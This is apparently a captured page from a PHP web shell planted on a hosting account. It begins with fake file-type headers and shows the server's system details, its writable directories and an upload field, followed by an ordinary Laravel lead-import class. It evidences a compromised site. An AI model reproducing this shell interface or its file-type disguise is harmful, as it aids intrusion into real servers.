%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/app/Imports/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/app/Imports/LeadImport.php
<?php

namespace App\Imports;

use Maatwebsite\Excel\Concerns\ToArray;

class LeadImport implements ToArray
{

    public static function fields(): array
    {
        return array(
            array('id' => 'name', 'name' => __('modules.lead.clientName'), 'required' => 'Yes'),
            array('id' => 'email', 'name' => __('modules.lead.clientEmail'), 'required' => 'No'),
            array('id' => 'value', 'name' => __('app.lead') . ' ' . __('app.value'), 'required' => 'No'),
            array('id' => 'note', 'name' => __('app.note'), 'required' => 'No'),
            array('id' => 'company_name', 'name' => __('modules.lead.companyName'), 'required' => 'No'),
            array('id' => 'company_website', 'name' => __('modules.lead.website'), 'required' => 'No'),
            array('id' => 'mobile', 'name' => __('modules.lead.mobile'), 'required' => 'No'),
            array('id' => 'company_phone', 'name' => __('modules.client.officePhoneNumber'), 'required' => 'No'),
            array('id' => 'country', 'name' => __('app.country'), 'required' => 'No'),
            array('id' => 'state', 'name' => __('modules.stripeCustomerAddress.state'), 'required' => 'No'),
            array('id' => 'city', 'name' => __('modules.stripeCustomerAddress.city'), 'required' => 'No'),
            array('id' => 'postal_code', 'name' => __('modules.stripeCustomerAddress.postalCode'), 'required' => 'No'),
            array('id' => 'address', 'name' => __('app.address'), 'required' => 'No'),
            array('id' => 'source', 'name' => __('modules.lead.leadSource'), 'required' => 'No'),
            array('id' => 'created_at', 'name' => __('app.createdOn'), 'required' => 'No'),
        );
    }

    public function array(array $array): array
    {
        return $array;
    }

}

VaKeR 2022